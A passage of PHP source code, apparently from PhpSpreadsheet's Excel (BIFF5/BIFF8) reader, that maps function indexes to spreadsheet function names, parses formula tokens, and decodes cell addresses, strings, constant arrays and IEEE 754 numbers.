'MIDB'; $args = 3; break; case 211: $function = 'LENB'; $args = 1; break; case 212: $function = 'ROUNDUP'; $args = 2; break; case 213: $function = 'ROUNDDOWN'; $args = 2; break; case 214: $function = 'ASC'; $args = 1; break; case 215: $function = 'DBCS'; $args = 1; break; case 221: $function = 'TODAY'; $args = 0; break; case 229: $function = 'SINH'; $args = 1; break; case 230: $function = 'COSH'; $args = 1; break; case 231: $function = 'TANH'; $args = 1; break; case 232: $function = 'ASINH'; $args = 1; break; case 233: $function = 'ACOSH'; $args = 1; break; case 234: $function = 'ATANH'; $args = 1; break; case 235: $function = 'DGET'; $args = 3; break; case 244: $function = 'INFO'; $args = 1; break; case 252: $function = 'FREQUENCY'; $args = 2; break; case 261: $function = 'ERROR.TYPE'; $args = 1; break; case 271: $function = 'GAMMALN'; $args = 1; break; case 273: $function = 'BINOMDIST'; $args = 4; break; case 274: $function = 'CHIDIST'; $args = 2; break; case 275: $function = 'CHIINV'; $args = 2; break; case 276: $function = 'COMBIN'; $args = 2; break; case 277: $function = 'CONFIDENCE'; $args = 3; break; case 278: $function = 'CRITBINOM'; $args = 3; break; case 279: $function = 'EVEN'; $args = 1; break; case 280: $function = 'EXPONDIST'; $args = 3; break; case 281: $function = 'FDIST'; $args = 3; break; case 282: $function = 'FINV'; $args = 3; break; case 283: $function = 'FISHER'; $args = 1; break; case 284: $function = 'FISHERINV'; $args = 1; break; case 285: $function = 'FLOOR'; $args = 2; break; case 286: $function = 'GAMMADIST'; $args = 4; break; case 287: $function = 'GAMMAINV'; $args = 3; break; case 288: $function = 'CEILING'; $args = 2; break; case 289: $function = 'HYPGEOMDIST'; $args = 4; break; case 290: $function = 'LOGNORMDIST'; $args = 3; break; case 291: $function = 'LOGINV'; $args = 3; break; case 292: $function = 'NEGBINOMDIST'; $args = 3; break; case 293: $function = 'NORMDIST'; $args = 4; break; case 294: $function = 'NORMSDIST'; $args = 1; break; case 295: $function = 'NORMINV'; $args = 3; break; case 296: $function = 'NORMSINV'; $args = 1; break; case 297: $function = 'STANDARDIZE'; $args = 3; break; case 298: $function = 'ODD'; $args = 1; break; case 299: $function = 'PERMUT'; $args = 2; break; case 300: $function = 'POISSON'; $args = 3; break; case 301: $function = 'TDIST'; $args = 3; break; case 302: $function = 'WEIBULL'; $args = 4; break; case 303: $function = 'SUMXMY2'; $args = 2; break; case 304: $function = 'SUMX2MY2'; $args = 2; break; case 305: $function = 'SUMX2PY2'; $args = 2; break; case 306: $function = 'CHITEST'; $args = 2; break; case 307: $function = 'CORREL'; $args = 2; break; case 308: $function = 'COVAR'; $args = 2; break; case 309: $function = 'FORECAST'; $args = 3; break; case 310: $function = 'FTEST'; $args = 2; break; case 311: $function = 'INTERCEPT'; $args = 2; break; case 312: $function = 'PEARSON'; $args = 2; break; case 313: $function = 'RSQ'; $args = 2; break; case 314: $function = 'STEYX'; $args = 2; break; case 315: $function = 'SLOPE'; $args = 2; break; case 316: $function = 'TTEST'; $args = 4; break; case 325: $function = 'LARGE'; $args = 2; break; case 326: $function = 'SMALL'; $args = 2; break; case 327: $function = 'QUARTILE'; $args = 2; break; case 328: $function = 'PERCENTILE'; $args = 2; break; case 331: $function = 'TRIMMEAN'; $args = 2; break; case 332: $function = 'TINV'; $args = 2; break; case 337: $function = 'POWER'; $args = 2; break; case 342: $function = 'RADIANS'; $args = 1; break; case 343: $function = 'DEGREES'; $args = 1; break; case 346: $function = 'COUNTIF'; $args = 2; break; case 347: $function = 'COUNTBLANK'; $args = 1; break; case 350: $function = 'ISPMT'; $args = 4; break; case 351: $function = 'DATEDIF'; $args = 3; break; case 352: $function = 'DATESTRING'; $args = 1; break; case 353: $function = 'NUMBERSTRING'; $args = 2; break; case 360: $function = 'PHONETIC'; $args = 1; break; case 368: $function = 'BAHTTEXT'; $args = 1; break; default: throw new Exception('Unrecognized function in formula'); } $data = ['function' => $function, 'args' => $args]; break; case 0x22: // function with variable number of arguments case 0x42: case 0x62: $name = 'tFuncV'; $size = 4; // offset: 1; size: 1; number of arguments $args = ord($formulaData[1]); // offset: 2: size: 2; index to built-in sheet function $index = self::getUInt2d($formulaData, 2); $function = match ($index) { 0 => 'COUNT', 1 => 'IF', 4 => 'SUM', 5 => 'AVERAGE', 6 => 'MIN', 7 => 'MAX', 8 => 'ROW', 9 => 'COLUMN', 11 => 'NPV', 12 => 'STDEV', 13 => 'DOLLAR', 14 => 'FIXED', 28 => 'LOOKUP', 29 => 'INDEX', 36 => 'AND', 37 => 'OR', 46 => 'VAR', 49 => 'LINEST', 50 => 'TREND', 51 => 'LOGEST', 52 => 'GROWTH', 56 => 'PV', 57 => 'FV', 58 => 'NPER', 59 => 'PMT', 60 => 'RATE', 62 => 'IRR', 64 => 'MATCH', 70 => 'WEEKDAY', 78 => 'OFFSET', 82 => 'SEARCH', 100 => 'CHOOSE', 101 => 'HLOOKUP', 102 => 'VLOOKUP', 109 => 'LOG', 115 => 'LEFT', 116 => 'RIGHT', 120 => 'SUBSTITUTE', 124 => 'FIND', 125 => 'CELL', 144 => 'DDB', 148 => 'INDIRECT', 167 => 'IPMT', 168 => 'PPMT', 169 => 'COUNTA', 183 => 'PRODUCT', 193 => 'STDEVP', 194 => 'VARP', 197 => 'TRUNC', 204 => 'USDOLLAR', 205 => 'FINDB', 206 => 'SEARCHB', 208 => 'LEFTB', 209 => 'RIGHTB', 216 => 'RANK', 219 => 'ADDRESS', 220 => 'DAYS360', 222 => 'VDB', 227 => 'MEDIAN', 228 => 'SUMPRODUCT', 247 => 'DB', 255 => '', 269 => 'AVEDEV', 270 => 'BETADIST', 272 => 'BETAINV', 317 => 'PROB', 318 => 'DEVSQ', 319 => 'GEOMEAN', 320 => 'HARMEAN', 321 => 'SUMSQ', 322 => 'KURT', 323 => 'SKEW', 324 => 'ZTEST', 329 => 'PERCENTRANK', 330 => 'MODE', 336 => 'CONCATENATE', 344 => 'SUBTOTAL', 345 => 'SUMIF', 354 => 'ROMAN', 358 => 'GETPIVOTDATA', 359 => 'HYPERLINK', 361 => 'AVERAGEA', 362 => 'MAXA', 363 => 'MINA', 364 => 'STDEVPA', 365 => 'VARPA', 366 => 'STDEVA', 367 => 'VARA', default => throw new Exception('Unrecognized function in formula'), }; $data = ['function' => $function, 'args' => $args]; break; case 0x23: // index to defined name case 0x43: case 0x63: $name = 'tName'; $size = 5; // offset: 1; size: 2; one-based index to definedname record $definedNameIndex = self::getUInt2d($formulaData, 1) - 1; // offset: 2; size: 2; not used $data = $this->definedname[$definedNameIndex]['name'] ?? ''; break; case 0x24: // single cell reference e.g. A5 case 0x44: case 0x64: $name = 'tRef'; $size = 5; $data = $this->readBIFF8CellAddress(substr($formulaData, 1, 4)); break; case 0x25: // cell range reference to cells in the same sheet (2d) case 0x45: case 0x65: $name = 'tArea'; $size = 9; $data = $this->readBIFF8CellRangeAddress(substr($formulaData, 1, 8)); break; case 0x26: // Constant reference sub-expression case 0x46: case 0x66: $name = 'tMemArea'; // offset: 1; size: 4; not used // offset: 5; size: 2; size of the following subexpression $subSize = self::getUInt2d($formulaData, 5); $size = 7 + $subSize; $data = $this->getFormulaFromData(substr($formulaData, 7, $subSize)); break; case 0x27: // Deleted constant reference sub-expression case 0x47: case 0x67: $name = 'tMemErr'; // offset: 1; size: 4; not used // offset: 5; size: 2; size of the following subexpression $subSize = self::getUInt2d($formulaData, 5); $size = 7 + $subSize; $data = $this->getFormulaFromData(substr($formulaData, 7, $subSize)); break; case 0x29: // Variable reference sub-expression case 0x49: case 0x69: $name = 'tMemFunc'; // offset: 1; size: 2; size of the following sub-expression $subSize = self::getUInt2d($formulaData, 1); $size = 3 + $subSize; $data = $this->getFormulaFromData(substr($formulaData, 3, $subSize)); break; case 0x2C: // Relative 2d cell reference reference, used in shared formulas and some other places case 0x4C: case 0x6C: $name = 'tRefN'; $size = 5; $data = $this->readBIFF8CellAddressB(substr($formulaData, 1, 4), $baseCell); break; case 0x2D: // Relative 2d range reference case 0x4D: case 0x6D: $name = 'tAreaN'; $size = 9; $data = $this->readBIFF8CellRangeAddressB(substr($formulaData, 1, 8), $baseCell); break; case 0x39: // External name case 0x59: case 0x79: $name = 'tNameX'; $size = 7; // offset: 1; size: 2; index to REF entry in EXTERNSHEET record // offset: 3; size: 2; one-based index to DEFINEDNAME or EXTERNNAME record $index = self::getUInt2d($formulaData, 3); // assume index is to EXTERNNAME record $data = $this->externalNames[$index - 1]['name'] ?? ''; // offset: 5; size: 2; not used break; case 0x3A: // 3d reference to cell case 0x5A: case 0x7A: $name = 'tRef3d'; $size = 7; try { // offset: 1; size: 2; index to REF entry $sheetRange = $this->readSheetRangeByRefIndex(self::getUInt2d($formulaData, 1)); // offset: 3; size: 4; cell address $cellAddress = $this->readBIFF8CellAddress(substr($formulaData, 3, 4)); $data = "$sheetRange!$cellAddress"; } catch (PhpSpreadsheetException) { // deleted sheet reference $data = '#REF!'; } break; case 0x3B: // 3d reference to cell range case 0x5B: case 0x7B: $name = 'tArea3d'; $size = 11; try { // offset: 1; size: 2; index to REF entry $sheetRange = $this->readSheetRangeByRefIndex(self::getUInt2d($formulaData, 1)); // offset: 3; size: 8; cell address $cellRangeAddress = $this->readBIFF8CellRangeAddress(substr($formulaData, 3, 8)); $data = "$sheetRange!$cellRangeAddress"; } catch (PhpSpreadsheetException) { // deleted sheet reference $data = '#REF!'; } break; // Unknown cases // don't know how to deal with default: throw new Exception('Unrecognized token ' . sprintf('%02X', $id) . ' in formula'); } return [ 'id' => $id, 'name' => $name, 'size' => $size, 'data' => $data, ]; } /** * Reads a cell address in BIFF8 e.g. 'A2' or '$A$2' * section 3.3.4. */ private function readBIFF8CellAddress(string $cellAddressStructure): string { // offset: 0; size: 2; index to row (0... 65535) (or offset (-32768... 32767)) $row = self::getUInt2d($cellAddressStructure, 0) + 1; // offset: 2; size: 2; index to column or column offset + relative flags // bit: 7-0; mask 0x00FF; column index $column = Coordinate::stringFromColumnIndex((0x00FF & self::getUInt2d($cellAddressStructure, 2)) + 1); // bit: 14; mask 0x4000; (1 = relative column index, 0 = absolute column index) if (!(0x4000 & self::getUInt2d($cellAddressStructure, 2))) { $column = '$' . $column; } // bit: 15; mask 0x8000; (1 = relative row index, 0 = absolute row index) if (!(0x8000 & self::getUInt2d($cellAddressStructure, 2))) { $row = '$' . $row; } return $column . $row; } /** * Reads a cell address in BIFF8 for shared formulas. Uses positive and negative values for row and column * to indicate offsets from a base cell * section 3.3.4. * * @param string $baseCell Base cell, only needed when formula contains tRefN tokens, e.g. with shared formulas */ private function readBIFF8CellAddressB(string $cellAddressStructure, string $baseCell = 'A1'): string { [$baseCol, $baseRow] = Coordinate::coordinateFromString($baseCell); $baseCol = Coordinate::columnIndexFromString($baseCol) - 1; $baseRow = (int) $baseRow; // offset: 0; size: 2; index to row (0... 65535) (or offset (-32768... 32767)) $rowIndex = self::getUInt2d($cellAddressStructure, 0); $row = self::getUInt2d($cellAddressStructure, 0) + 1; // bit: 14; mask 0x4000; (1 = relative column index, 0 = absolute column index) if (!(0x4000 & self::getUInt2d($cellAddressStructure, 2))) { // offset: 2; size: 2; index to column or column offset + relative flags // bit: 7-0; mask 0x00FF; column index $colIndex = 0x00FF & self::getUInt2d($cellAddressStructure, 2); $column = Coordinate::stringFromColumnIndex($colIndex + 1); $column = '$' . $column; } else { // offset: 2; size: 2; index to column or column offset + relative flags // bit: 7-0; mask 0x00FF; column index $relativeColIndex = 0x00FF & self::getInt2d($cellAddressStructure, 2); $colIndex = $baseCol + $relativeColIndex; $colIndex = ($colIndex < 256) ? $colIndex : $colIndex - 256; $colIndex = ($colIndex >= 0) ? $colIndex : $colIndex + 256; $column = Coordinate::stringFromColumnIndex($colIndex + 1); } // bit: 15; mask 0x8000; (1 = relative row index, 0 = absolute row index) if (!(0x8000 & self::getUInt2d($cellAddressStructure, 2))) { $row = '$' . $row; } else { $rowIndex = ($rowIndex <= 32767) ? $rowIndex : $rowIndex - 65536; $row = $baseRow + $rowIndex; } return $column . $row; } /** * Reads a cell range address in BIFF5 e.g. 'A2:B6' or 'A1' * always fixed range * section 2.5.14. */ private function readBIFF5CellRangeAddressFixed(string $subData): string { // offset: 0; size: 2; index to first row $fr = self::getUInt2d($subData, 0) + 1; // offset: 2; size: 2; index to last row $lr = self::getUInt2d($subData, 2) + 1; // offset: 4; size: 1; index to first column $fc = ord($subData[4]); // offset: 5; size: 1; index to last column $lc = ord($subData[5]); // check values if ($fr > $lr || $fc > $lc) { throw new Exception('Not a cell range address'); } // column index to letter $fc = Coordinate::stringFromColumnIndex($fc + 1); $lc = Coordinate::stringFromColumnIndex($lc + 1); if ($fr == $lr && $fc == $lc) { return "$fc$fr"; } return "$fc$fr:$lc$lr"; } /** * Reads a cell range address in BIFF8 e.g. 'A2:B6' or 'A1' * always fixed range * section 2.5.14. */ private function readBIFF8CellRangeAddressFixed(string $subData): string { // offset: 0; size: 2; index to first row $fr = self::getUInt2d($subData, 0) + 1; // offset: 2; size: 2; index to last row $lr = self::getUInt2d($subData, 2) + 1; // offset: 4; size: 2; index to first column $fc = self::getUInt2d($subData, 4); // offset: 6; size: 2; index to last column $lc = self::getUInt2d($subData, 6); // check values if ($fr > $lr || $fc > $lc) { throw new Exception('Not a cell range address'); } // column index to letter $fc = Coordinate::stringFromColumnIndex($fc + 1); $lc = Coordinate::stringFromColumnIndex($lc + 1); if ($fr == $lr && $fc == $lc) { return "$fc$fr"; } return "$fc$fr:$lc$lr"; } /** * Reads a cell range address in BIFF8 e.g. 'A2:B6' or '$A$2:$B$6' * there are flags indicating whether column/row index is relative * section 3.3.4. */ private function readBIFF8CellRangeAddress(string $subData): string { // todo: if cell range is just a single cell, should this funciton // not just return e.g. 'A1' and not 'A1:A1' ? // offset: 0; size: 2; index to first row (0... 65535) (or offset (-32768... 32767)) $fr = self::getUInt2d($subData, 0) + 1; // offset: 2; size: 2; index to last row (0... 65535) (or offset (-32768... 32767)) $lr = self::getUInt2d($subData, 2) + 1; // offset: 4; size: 2; index to first column or column offset + relative flags // bit: 7-0; mask 0x00FF; column index $fc = Coordinate::stringFromColumnIndex((0x00FF & self::getUInt2d($subData, 4)) + 1); // bit: 14; mask 0x4000; (1 = relative column index, 0 = absolute column index) if (!(0x4000 & self::getUInt2d($subData, 4))) { $fc = '$' . $fc; } // bit: 15; mask 0x8000; (1 = relative row index, 0 = absolute row index) if (!(0x8000 & self::getUInt2d($subData, 4))) { $fr = '$' . $fr; } // offset: 6; size: 2; index to last column or column offset + relative flags // bit: 7-0; mask 0x00FF; column index $lc = Coordinate::stringFromColumnIndex((0x00FF & self::getUInt2d($subData, 6)) + 1); // bit: 14; mask 0x4000; (1 = relative column index, 0 = absolute column index) if (!(0x4000 & self::getUInt2d($subData, 6))) { $lc = '$' . $lc; } // bit: 15; mask 0x8000; (1 = relative row index, 0 = absolute row index) if (!(0x8000 & self::getUInt2d($subData, 6))) { $lr = '$' . $lr; } return "$fc$fr:$lc$lr"; } /** * Reads a cell range address in BIFF8 for shared formulas. Uses positive and negative values for row and column * to indicate offsets from a base cell * section 3.3.4. * * @param string $baseCell Base cell * * @return string Cell range address */ private function readBIFF8CellRangeAddressB(string $subData, string $baseCell = 'A1'): string { [$baseCol, $baseRow] = Coordinate::indexesFromString($baseCell); $baseCol = $baseCol - 1; // TODO: if cell range is just a single cell, should this funciton // not just return e.g. 'A1' and not 'A1:A1' ? // offset: 0; size: 2; first row $frIndex = self::getUInt2d($subData, 0); // adjust below // offset: 2; size: 2; relative index to first row (0... 65535) should be treated as offset (-32768... 32767) $lrIndex = self::getUInt2d($subData, 2); // adjust below // bit: 14; mask 0x4000; (1 = relative column index, 0 = absolute column index) if (!(0x4000 & self::getUInt2d($subData, 4))) { // absolute column index // offset: 4; size: 2; first column with relative/absolute flags // bit: 7-0; mask 0x00FF; column index $fcIndex = 0x00FF & self::getUInt2d($subData, 4); $fc = Coordinate::stringFromColumnIndex($fcIndex + 1); $fc = '$' . $fc; } else { // column offset // offset: 4; size: 2; first column with relative/absolute flags // bit: 7-0; mask 0x00FF; column index $relativeFcIndex = 0x00FF & self::getInt2d($subData, 4); $fcIndex = $baseCol + $relativeFcIndex; $fcIndex = ($fcIndex < 256) ? $fcIndex : $fcIndex - 256; $fcIndex = ($fcIndex >= 0) ? $fcIndex : $fcIndex + 256; $fc = Coordinate::stringFromColumnIndex($fcIndex + 1); } // bit: 15; mask 0x8000; (1 = relative row index, 0 = absolute row index) if (!(0x8000 & self::getUInt2d($subData, 4))) { // absolute row index $fr = $frIndex + 1; $fr = '$' . $fr; } else { // row offset $frIndex = ($frIndex <= 32767) ? $frIndex : $frIndex - 65536; $fr = $baseRow + $frIndex; } // bit: 14; mask 0x4000; (1 = relative column index, 0 = absolute column index) if (!(0x4000 & self::getUInt2d($subData, 6))) { // absolute column index // offset: 6; size: 2; last column with relative/absolute flags // bit: 7-0; mask 0x00FF; column index $lcIndex = 0x00FF & self::getUInt2d($subData, 6); $lc = Coordinate::stringFromColumnIndex($lcIndex + 1); $lc = '$' . $lc; } else { // column offset // offset: 4; size: 2; first column with relative/absolute flags // bit: 7-0; mask 0x00FF; column index $relativeLcIndex = 0x00FF & self::getInt2d($subData, 4); $lcIndex = $baseCol + $relativeLcIndex; $lcIndex = ($lcIndex < 256) ? $lcIndex : $lcIndex - 256; $lcIndex = ($lcIndex >= 0) ? $lcIndex : $lcIndex + 256; $lc = Coordinate::stringFromColumnIndex($lcIndex + 1); } // bit: 15; mask 0x8000; (1 = relative row index, 0 = absolute row index) if (!(0x8000 & self::getUInt2d($subData, 6))) { // absolute row index $lr = $lrIndex + 1; $lr = '$' . $lr; } else { // row offset $lrIndex = ($lrIndex <= 32767) ? $lrIndex : $lrIndex - 65536; $lr = $baseRow + $lrIndex; } return "$fc$fr:$lc$lr"; } /** * Read BIFF8 cell range address list * section 2.5.15. */ private function readBIFF8CellRangeAddressList(string $subData): array { $cellRangeAddresses = []; // offset: 0; size: 2; number of the following cell range addresses $nm = self::getUInt2d($subData, 0); $offset = 2; // offset: 2; size: 8 * $nm; list of $nm (fixed) cell range addresses for ($i = 0; $i < $nm; ++$i) { $cellRangeAddresses[] = $this->readBIFF8CellRangeAddressFixed(substr($subData, $offset, 8)); $offset += 8; } return [ 'size' => 2 + 8 * $nm, 'cellRangeAddresses' => $cellRangeAddresses, ]; } /** * Read BIFF5 cell range address list * section 2.5.15. */ private function readBIFF5CellRangeAddressList(string $subData): array { $cellRangeAddresses = []; // offset: 0; size: 2; number of the following cell range addresses $nm = self::getUInt2d($subData, 0); $offset = 2; // offset: 2; size: 6 * $nm; list of $nm (fixed) cell range addresses for ($i = 0; $i < $nm; ++$i) { $cellRangeAddresses[] = $this->readBIFF5CellRangeAddressFixed(substr($subData, $offset, 6)); $offset += 6; } return [ 'size' => 2 + 6 * $nm, 'cellRangeAddresses' => $cellRangeAddresses, ]; } /** * Get a sheet range like Sheet1:Sheet3 from REF index * Note: If there is only one sheet in the range, one gets e.g Sheet1 * It can also happen that the REF structure uses the -1 (FFFF) code to indicate deleted sheets, * in which case an Exception is thrown. */ private function readSheetRangeByRefIndex(int $index): string|false { if (isset($this->ref[$index])) { $type = $this->externalBooks[$this->ref[$index]['externalBookIndex']]['type']; switch ($type) { case 'internal': // check if we have a deleted 3d reference if ($this->ref[$index]['firstSheetIndex'] == 0xFFFF || $this->ref[$index]['lastSheetIndex'] == 0xFFFF) { throw new Exception('Deleted sheet reference'); } // we have normal sheet range (collapsed or uncollapsed) $firstSheetName = $this->sheets[$this->ref[$index]['firstSheetIndex']]['name']; $lastSheetName = $this->sheets[$this->ref[$index]['lastSheetIndex']]['name']; if ($firstSheetName == $lastSheetName) { // collapsed sheet range $sheetRange = $firstSheetName; } else { $sheetRange = "$firstSheetName:$lastSheetName"; } // escape the single-quotes $sheetRange = str_replace("'", "''", $sheetRange); // if there are special characters, we need to enclose the range in single-quotes // todo: check if we have identified the whole set of special characters // it seems that the following characters are not accepted for sheet names // and we may assume that they are not present: []*/:\? if (preg_match("/[ !\"@#£$%&{()}<>=+'|^,;-]/u", $sheetRange)) { $sheetRange = "'$sheetRange'"; } return $sheetRange; default: // TODO: external sheet support throw new Exception('Xls reader only supports internal sheets in formulas'); } } return false; } /** * read BIFF8 constant value array from array data * returns e.g. ['value' => '{1,2;3,4}', 'size' => 40] * section 2.5.8. */ private static function readBIFF8ConstantArray(string $arrayData): array { // offset: 0; size: 1; number of columns decreased by 1 $nc = ord($arrayData[0]); // offset: 1; size: 2; number of rows decreased by 1 $nr = self::getUInt2d($arrayData, 1); $size = 3; // initialize $arrayData = substr($arrayData, 3); // offset: 3; size: var; list of ($nc + 1) * ($nr + 1) constant values $matrixChunks = []; for ($r = 1; $r <= $nr + 1; ++$r) { $items = []; for ($c = 1; $c <= $nc + 1; ++$c) { $constant = self::readBIFF8Constant($arrayData); $items[] = $constant['value']; $arrayData = substr($arrayData, $constant['size']); $size += $constant['size']; } $matrixChunks[] = implode(',', $items); // looks like e.g. '1,"hello"' } $matrix = '{' . implode(';', $matrixChunks) . '}'; return [ 'value' => $matrix, 'size' => $size, ]; } /** * read BIFF8 constant value which may be 'Empty Value', 'Number', 'String Value', 'Boolean Value', 'Error Value' * section 2.5.7 * returns e.g. ['value' => '5', 'size' => 9]. */ private static function readBIFF8Constant(string $valueData): array { // offset: 0; size: 1; identifier for type of constant $identifier = ord($valueData[0]); switch ($identifier) { case 0x00: // empty constant (what is this?) $value = ''; $size = 9; break; case 0x01: // number // offset: 1; size: 8; IEEE 754 floating-point value $value = self::extractNumber(substr($valueData, 1, 8)); $size = 9; break; case 0x02: // string value // offset: 1; size: var; Unicode string, 16-bit string length $string = self::readUnicodeStringLong(substr($valueData, 1)); $value = '"' . $string['value'] . '"'; $size = 1 + $string['size']; break; case 0x04: // boolean // offset: 1; size: 1; 0 = FALSE, 1 = TRUE if (ord($valueData[1])) { $value = 'TRUE'; } else { $value = 'FALSE'; } $size = 9; break; case 0x10: // error code // offset: 1; size: 1; error code $value = Xls\ErrorCode::lookup(ord($valueData[1])); $size = 9; break; default: throw new PhpSpreadsheetException('Unsupported BIFF8 constant'); } return [ 'value' => $value, 'size' => $size, ]; } /** * Extract RGB color * OpenOffice.org's Documentation of the Microsoft Excel File Format, section 2.5.4. * * @param string $rgb Encoded RGB value (4 bytes) */ private static function readRGB(string $rgb): array { // offset: 0; size 1; Red component $r = ord($rgb[0]); // offset: 1; size: 1; Green component $g = ord($rgb[1]); // offset: 2; size: 1; Blue component $b = ord($rgb[2]); // HEX notation, e.g. 'FF00FC' $rgb = sprintf('%02X%02X%02X', $r, $g, $b); return ['rgb' => $rgb]; } /** * Read byte string (8-bit string length) * OpenOffice documentation: 2.5.2. */ private function readByteStringShort(string $subData): array { // offset: 0; size: 1; length of the string (character count) $ln = ord($subData[0]); // offset: 1: size: var; character array (8-bit characters) $value = $this->decodeCodepage(substr($subData, 1, $ln)); return [ 'value' => $value, 'size' => 1 + $ln, // size in bytes of data structure ]; } /** * Read byte string (16-bit string length) * OpenOffice documentation: 2.5.2. */ private function readByteStringLong(string $subData): array { // offset: 0; size: 2; length of the string (character count) $ln = self::getUInt2d($subData, 0); // offset: 2: size: var; character array (8-bit characters) $value = $this->decodeCodepage(substr($subData, 2)); //return $string; return [ 'value' => $value, 'size' => 2 + $ln, // size in bytes of data structure ]; } /** * Extracts an Excel Unicode short string (8-bit string length) * OpenOffice documentation: 2.5.3 * function will automatically find out where the Unicode string ends. */ private static function readUnicodeStringShort(string $subData): array { // offset: 0: size: 1; length of the string (character count) $characterCount = ord($subData[0]); $string = self::readUnicodeString(substr($subData, 1), $characterCount); // add 1 for the string length ++$string['size']; return $string; } /** * Extracts an Excel Unicode long string (16-bit string length) * OpenOffice documentation: 2.5.3 * this function is under construction, needs to support rich text, and Asian phonetic settings. */ private static function readUnicodeStringLong(string $subData): array { // offset: 0: size: 2; length of the string (character count) $characterCount = self::getUInt2d($subData, 0); $string = self::readUnicodeString(substr($subData, 2), $characterCount); // add 2 for the string length $string['size'] += 2; return $string; } /** * Read Unicode string with no string length field, but with known character count * this function is under construction, needs to support rich text, and Asian phonetic settings * OpenOffice.org's Documentation of the Microsoft Excel File Format, section 2.5.3. */ private static function readUnicodeString(string $subData, int $characterCount): array { // offset: 0: size: 1; option flags // bit: 0; mask: 0x01; character compression (0 = compressed 8-bit, 1 = uncompressed 16-bit) $isCompressed = !((0x01 & ord($subData[0])) >> 0); // bit: 2; mask: 0x04; Asian phonetic settings //$hasAsian = (0x04) & ord($subData[0]) >> 2; // bit: 3; mask: 0x08; Rich-Text settings //$hasRichText = (0x08) & ord($subData[0]) >> 3; // offset: 1: size: var; character array // this offset assumes richtext and Asian phonetic settings are off which is generally wrong // needs to be fixed $value = self::encodeUTF16(substr($subData, 1, $isCompressed ? $characterCount : 2 * $characterCount), $isCompressed); return [ 'value' => $value, 'size' => $isCompressed ? 1 + $characterCount : 1 + 2 * $characterCount, // the size in bytes including the option flags ]; } /** * Convert UTF-8 string to string surounded by double quotes. Used for explicit string tokens in formulas. * Example: hello"world --> "hello""world". * * @param string $value UTF-8 encoded string */ private static function UTF8toExcelDoubleQuoted(string $value): string { return '"' . str_replace('"', '""', $value) . '"'; } /** * Reads first 8 bytes of a string and return IEEE 754 float. * * @param string $data Binary string that is at least 8 bytes long */ private static function extractNumber(string $data): int|float { $rknumhigh = self::getInt4d($data, 4); $rknumlow = self::getInt4d($data, 0); $sign = ($rknumhigh & self::HIGH_ORDER_BIT) >> 31; $exp = (($rknumhigh & 0x7FF00000) >> 20) - 1023; $mantissa = (0x100000 | ($rknumhigh & 0x000FFFFF)); $mantissalow1 = ($rknumlow & self::HIGH_ORDER_BIT) >> 31; $mantissalow2 = ($rknumlow & 0x7FFFFFFF); $value = $mantissa / 2 ** (20 - $exp); if ($mantissalow1 != 0) { $value += 1 / 2 ** (21 - $exp); } if ($mantissalow2 != 0) { $value += $mantissalow2 / 2 ** (52 - $exp); } if ($sign) { $value *= -1; } return $value; } private static function getIEEE754(int $rknum): float|int { if (($rknum & 0x02) != 0) { $value = $rknum >> 2; } else { // changes by mmp, info on IEEE754 encoding from // research.microsoft.com/~hollasch/cgindex/coding/ieeefloat.html // The RK format calls for using only the most significant 30 bits // of the 64 bit floating point value. The other 34 bits are assumed // to be 0 so we use the upper 30 bits of $rknum as follows... $sign = ($rknum & self::HIGH_ORDER_BIT) >> 31; $exp = ($rknum & 0x7FF00000) >> 20; $mantissa = (0x100000 | ($rknum & 0x000FFFFC)); $value = $mantissa / 2 ** (20 - ($exp - 1023)); if ($sign) { $value = -1 * $value; } //end of changes by mmp } if (($rknum & 0x01) != 0) { $value /= 100; } return $value; } /** * Get UTF-8 string from (compressed or uncompressed) UTF-16 string. */ private static function encodeUTF16(string $string, bool $compressed = false): string { if ($compressed) { $string = self::uncompressByteString($string); } return StringHelper::convertEncoding($string, 'UTF-8', 'UTF-16LE'); } /** * Convert UTF-16 string in compressed notation to uncompressed form. Only used for BIFF8. */ private static function uncompressByteString(string $string): string { $uncompressedString = ''; $strLen = strlen($string); for ($i = 0; $i < $strLen; ++$i) { $uncompressedString .= $string[$i] . "\0"; } return $uncompressedString; } /** * Convert string to UTF-8. Only used for BIFF5. */ private function decodeCodepage(string $string): string { return StringHelper::convertEncoding($string, 'UTF-8', $this->codepage); } /** * Read 16-bit unsigned integer. */ public static function getUInt2d(string $data, int $pos): int { return ord($data[$pos]) | (ord($data[$pos + 1]) << 8); } /** * Read 16-bit signed integer. */ public static function getInt2d(string $data, int $pos): int { return unpack('s', $data[$pos] . $data[$pos + 1])[1]; // @phpstan-ignore-line } /** * Read 32-bit signed integer. */ public static function getInt4d(string $data, int $pos): int { // FIX: represent numbers correctly on 64-bit system // http://sourceforge.net/tracker/index.php?func=detail&aid=1487372&group_id=99160&atid=623334 // Changed by Andreas Rehm 2006 to ensure correct result of the <<24 block on 32 and 64bit systems $_or_24 = ord($data[$pos + 3]); if ($_or_24 >= 128) { // negative number $_ord_24 = -abs((256 - $_or_24) << 24); } else { $_ord_24 = ($_or_24 & 127) << 24; } return ord($data[$pos]) | (ord($data[$pos + 1]) << 8) | (ord($data[$pos + 2]) << 16) | $_ord_24; } private function parseRichText(string $is): RichText { $value = new RichText(); $value->createText($is); return $value; } /** * Phpstan 1.4.4 complains that this property is never read. * So, we might be able to get rid of it altogether. * For now, however, this function makes it readable, * which satisfies Phpstan. * * @codeCoverageIgnore */ public function getMapCellStyleXfIndex(): array { return $this->mapCellStyleXfIndex; } private function readCFHeader(): array { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer forward to next record $this->pos += 4 + $length; if ($this->readDataOnly) { return []; } // offset: 0; size: 2; Rule Count // $ruleCount = self::getUInt2d($recordData, 0); // offset: var; size: var; cell range address list with $cellRangeAddressList = ($this->version == self::XLS_BIFF8) ? $this->readBIFF8CellRangeAddressList(substr($recordData, 12)) : $this->readBIFF5CellRangeAddressList(substr($recordData, 12)); $cellRangeAddresses = $cellRangeAddressList['cellRangeAddresses']; return $cellRangeAddresses; } private function readCFRule(array $cellRangeAddresses): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer forward to next record $this->pos += 4 + $length; if ($this->readDataOnly) { return; } // offset: 0; size: 2; Options $cfRule = self::getUInt2d($recordData, 0); // bit: 8-15; mask: 0x00FF; type $type = (0x00FF & $cfRule) >> 0; $type = ConditionalFormatting::type($type); // bit: 0-7; mask: 0xFF00; type $operator = (0xFF00 & $cfRule) >> 8; $operator = ConditionalFormatting::operator($operator); if ($type === null || $operator === null) { return; } // offset: 2; size: 